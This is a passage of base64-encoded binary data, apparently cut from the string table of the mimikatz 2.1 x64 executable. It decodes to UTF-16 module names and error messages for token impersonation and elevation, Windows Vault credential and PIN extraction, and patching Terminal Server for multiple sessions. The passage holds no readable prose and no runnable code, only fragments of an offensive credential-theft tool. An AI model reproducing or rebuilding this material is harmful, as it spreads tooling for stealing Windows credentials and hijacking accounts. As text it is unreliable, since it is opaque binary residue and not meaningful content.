BlAHAAdAAgAHcAYQBzACAAIAAgACAAOgAgACUAcwAKAAAAAABpAHMAQgBhAHMAZQA2ADQASQBuAHQAZQByAGMAZQBwAHQAIABpAHMAIABuAG8AdwAgADoAIAAlAHMACgAAAAAANgA0AAAAAAAKAG0AaQBtAGkAawBhAHQAegAgADIALgAxACAAKABhAHIAYwBoACAAeAA2ADQAKQAKAFcAaQBuAGQAbwB3AHMAIABOAFQAIAAlAHUALgAlAHUAIABiAHUAaQBsAGQAIAAlAHUAIAAoAGEAcgBjAGgAIAB4ACUAcwApAAoAbQBzAHYAYwAgACUAdQAgACUAdQAKAAAAAAAAAEMAdQByADoAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AYwBkACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAE4AZQB3ADoAIAAlAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAUwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAUwBvAHIAcgB5ACAAeQBvAHUAIABnAHUAeQBzACAAZABvAG4AJwB0ACAAZwBlAHQAIABpAHQALgAKAAAAAAAAAEwAaQBzAHQAIAAuAC4ALgAAAAAAAAAAAGcAZQB0AAAARwBlAHQAIAAuAC4ALgAAAHMAZQB0AAAAUwBlAHQAIAAuAC4ALgAAAGQAZQBsAAAARABlAGwAIAAuAC4ALgAAAAAAAAAAAAAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAbAB1AGUAIABtAG8AZAB1AGwAZQAAAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAVgBlAG4AZABvAHIAIABHAFUASQBEADoAIAAAAAAAAAApAAoATABlAG4AZwB0AGgAIAAgACAAIAAgADoAIAAlAHUACgBEAGEAdABhACAAIAAgACAAIAAgACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGwAaQBzAHQAIAA7ACAATgB0AEUAbgB1AG0AZQByAGEAdABlAFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUAcwBFAHgAKABkAGEAdABhACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBsAGkAcwB0ACAAOwAgAE4AdABFAG4AdQBtAGUAcgBhAHQAZQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAHMARQB4ACgAcwBpAHoAZQApADoAIAAwAHgAJQAwADgAeAAKAAAAAABBAHQAdAByAGkAYgB1AHQAZQBzACAAOgAgACUAMAA4AHgAIAAoAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAATgB0AFEAdQBlAHIAeQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGcAZQB0ACAAOwAgAFMAeQBzAHQAZQBtACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlACAAbgBvAHQAIABmAG8AdQBuAGQALgAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGcAZQB0ACAAOwAgAE4AdABRAHUAZQByAHkAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBFAHgAKABzAGkAegBlACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAB7AGIAMQA2AGIAMAAwAGIANQAtAGMAYQBmAGUALQBiAGEAYgBlAC0AMABlAGUAMAAtAGQAYQBiAGEAZABhAGIAYQBkADAAMAAwAH0AAAAAADQAMQAwADAAMgAwADAAMAA0AGMAMAAwADYAMQAwADAAMgAwADAAMAA1ADYAMAAwADYAOQAwADAANgA1ADAAMAAyAGMAMAAwADIAMAAwADAANAAxADAAMAAyADAAMAAwADQAYwAwADAAMgA3ADAAMAA0ADEAMAAwADYAZAAwADAANgBmADAAMAA3ADUAMAAwADcAMgAwADAAMAAwADAAMAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAHMAZQB0ACAAOwAgAE4AdABTAGUAdABTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAHMAZQB0ACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBkAGUAbAAgADsAIABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkAC4ACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBkAGUAbAAgADsAIABOAHQAUwBlAHQAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBFAHgAKABkAGEAdABhACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBkAGUAbAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABOAE8ATgBfAFYATwBMAEEAVABJAEwARQAAAAAAAAAAAEIATwBPAFQAUwBFAFIAVgBJAEMARQBfAEEAQwBDAEUAUwBTAAAAAABSAFUATgBUAEkATQBFAF8AQQBDAEMARQBTAFMAAAAAAEgAQQBSAEQAVwBBAFIARQBfAEUAUgBSAE8AUgBfAFIARQBDAE8AUgBEAAAAAAAAAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAEQAXwBXAFIASQBUAEUAXwBBAEMAQwBFAFMAUwAAAAAAVABJAE0ARQBfAEIAQQBTAEUARABfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAEQAXwBXAFIASQBUAEUAXwBBAEMAQwBFAFMAUwAAAAAAAABBAFAAUABFAE4ARABfAFcAUgBJAFQARQAAAAAAAAAAAEsAaQB3AGkARQBmAGkAVgBhAHIAaQBhAGIAbABlAHMAAAAAAAAAAABFAGYAaQBCAG8AbwB0AFYAYQByAGkAYQBiAGwAZQBzAAAAAAAAAAAARQB4AHAAUwBlAGMAdQByAGUAQgBvAG8AdABWAGUAbgBkAG8AcgAAACUAcwAgAC0AIAAAAAAAAAB3AGgAbwBhAG0AaQAAAAAARABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABpAGQAZQBuAHQAaQB0AHkAAAAAAAAAAABMAGkAcwB0ACAAYQBsAGwAIAB0AG8AawBlAG4AcwAgAG8AZgAgAHQAaABlACAAcwB5AHMAdABlAG0AAAAAAAAAZQBsAGUAdgBhAHQAZQAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQAgAGEAIAB0AG8AawBlAG4AAAByAGUAdgBlAHIAdAAAAAAAUgBlAHYAZQByAHQAIAB0AG8AIABwAHIAbwBjAGUAcwAgAHQAbwBrAGUAbgAAAAAAdABvAGsAZQBuAAAAAAAAAFQAbwBrAGUAbgAgAG0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAbQBvAGQAdQBsAGUAAAAAAAAAIAAqACAAUAByAG8AYwBlAHMAcwAgAFQAbwBrAGUAbgAgADoAIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAKgAgAFQAaAByAGUAYQBkACAAVABvAGsAZQBuACAAIAA6ACAAAABuAG8AIAB0AG8AawBlAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAZABvAG0AYQBpAG4AYQBkAG0AaQBuAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAE4AbwAgAHUAcwBlAHIAbgBhAG0AZQAgAGEAdgBhAGkAbABhAGIAbABlACAAdwBoAGUAbgAgAFMAWQBTAFQARQBNAAoAAABUAG8AawBlAG4AIABJAGQAIAAgADoAIAAlAHUACgBVAHMAZQByACAAbgBhAG0AZQAgADoAIAAlAHMACgBTAEkARAAgAG4AYQBtAGUAIAAgADoAIAAAAAAAJQBzAFwAJQBzAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AE4AYQBtAGUARABvAG0AYQBpAG4ARgByAG8AbQBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AQwByAGUAYQB0AGUAVwBlAGwAbABLAG4AbwB3AG4AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHIAZQB2AGUAcgB0ACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAQQBuAG8AbgB5AG0AbwB1AHMAAAAAAAAASQBkAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuAAAAAABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuAAAAAAAAAEQAZQBsAGUAZwBhAHQAaQBvAG4AAAAAACUALQAxADAAdQAJAAAAAAAlAHMAXAAlAHMACQAlAHMAAAAAAAAAAAAJACgAJQAwADIAdQBnACwAJQAwADIAdQBwACkACQAlAHMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABDAGgAZQBjAGsAVABvAGsAZQBuAE0AZQBtAGIAZQByAHMAaABpAHAAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAACUAdQAJAAAAIAAtAD4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGUAZAAgACEACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKA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BcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBcAEwAbwBnAG8AbgBVAEkAXABQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZAAAAAAAAAAAAGIAZwBQAGEAdABoAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMgAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgADEAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABTAEkARAAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAkACQBQAGEAcwBzAHcAbwByAGQAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAkACQBQAEkATgAgAEMAbwBkAGUAIAAgACAAIAAgACAAIAAgADoAIAAlADAANABoAHUACgAAAAAACQAJAEIAYQBjAGsAZwByAG8AdQBuAGQAIABwAGEAdABoACAAOgAgACUAcwAKAAAAAAAAAAAAAAAJAAkAUABpAGMAdAB1AHIAZQAgAHAAYQBzAHMAdwBvAHIAZAAgACgAZwByAGkAZAAgAGkAcwAgADEANQAwACoAMQAwADAAKQAKAAAAAAAAAAkACQAgAFsAJQB1AF0AIAAAAAAAAAAAAHAAbwBpAG4AdAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAAAAAYwBsAG8AYwBrAHcAaQBzAGUAAAAAAAAAYQBuAHQAaQBjAGwAbwBjAGsAdwBpAHMAZQAAAAAAAAAAAAAAAAAAAGMAaQByAGMAbABlACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAIAA7ACAAcgAgAD0AIAAlADMAdQApACAALQAgACUAcwAAAAAAAAAAAAAAAAAAAGwAaQBuAGUAIAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAgAC0APgAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAAAAAAAAAJQB1AAoAAAAJAAkAUAByAG8AcABlAHIAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlAC4AKgBzAFwAAAAAAAAAdABvAGQAbwAgAD8ACgAAAAkATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAB0AGUAbQBwACAAdgBhAHUAbAB0AAAAAAAJAFAAYQB0AGgAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAWwBVAFMASABPAFIAVABdACAAJQBoAHUAAAAAAAAAAABbAEQAVwBPAFIARABdACAAJQB1AAAAAABbAFMAVABSAEkATgBHAF0AIAAlAHMAAABbAEIAWQBUAEUAKgBdACAAAAAAAAAAAABbAFMASQBEAF0AIAAAAAAAWwBBAFQAVABSAEkAQgBVAFQARQBdAAoAAAAAAAAAAAAJAAkAIAAgAEYAbABhAGcAcwAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAkACQAgACAASwBlAHkAdwBvAHIAZAAgADoAIAAlAHMACgAAAAAAAAAJAAkAIAAgAFYAYQBsAHUAZQAgACAAIAA6ACAAAAAAAFsAVAB5AHAAZQAgACUAMgB1AF0AIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAA8AE4AVQBMAEwAPgAAAAAAAAAAAAAAAABUAGEAcgBnAGUAdABOAGEAbQBlACAAOgAgACUAcwAgAC8AIAAlAHMACgBVAHMAZQByAE4AYQBtAGUAIAAgACAAOgAgACUAcwAKAEMAbwBtAG0AZQBuAHQAIAAgACAAIAA6ACAAJQBzAAoAVAB5AHAAZQAgACAAIAAgACAAIAAgADoAIAAlAHUAIAAtACAAJQBzAAoAUABlAHIAcwBpAHMAdAAgACAAIAAgADoAIAAlAHUAIAAtACAAJQBzAAoARgBsAGEAZwBzACAAIAAgACAAIAAgADoAIAAlADAAOAB4AAoAAAAAAAAAQwByAGUAZABlAG4AdABpAGEAbAAgADoAIAAAAAAAAAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQB1AAoAAAAAAAAAIABbACUAMgB1AF0AIABBAHQAdAByAGkAYgB1AHQAZQAKAAAAAAAAACAAIABGAGwAYQBnAHMAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAAIAAgAFYAYQBsAHUAZQAgACAAIAA6ACAAAAAAAAAAAABpAG4AZgBvAHMAAAAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAAAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAbQBvAGQAdQBsAGUAAAAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAuAGUAeABlAAAAAAAAAAAAAABGAGkAZQBsAGQAIAA6ACAAJQB1ACAAcgAgAHgAIAAlAHUAIABjAAoATQBpAG4AZQBzACAAOgAgACUAdQAKAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAQwAgACgAUgAgAD0AIAAlAHUAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGUAbQBvAHIAeQAgAFIACgAAAAAAJQBDACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABCAG8AYQByAGQAIABjAG8AcAB5AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHAGEAbQBlACAAYwBvAHAAeQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHACAAYwBvAHAAeQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHAGwAbwBiAGEAbAAgAGMAbwBwAHkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABTAGUAYQByAGMAaAAgAGkAcwAgAEsATwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGkAbgBlAHMAdwBlAGUAcABlAHIAIABOAFQAIABIAGUAYQBkAGUAcgBzAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AaQBuAGUAcwB3AGUAZQBwAGUAcgAgAFAARQBCAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATgBvACAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAaQBuACAAbQBlAG0AbwByAHkAIQAKAAAAAAAAAAAAAABFAFIAUgBPAFIA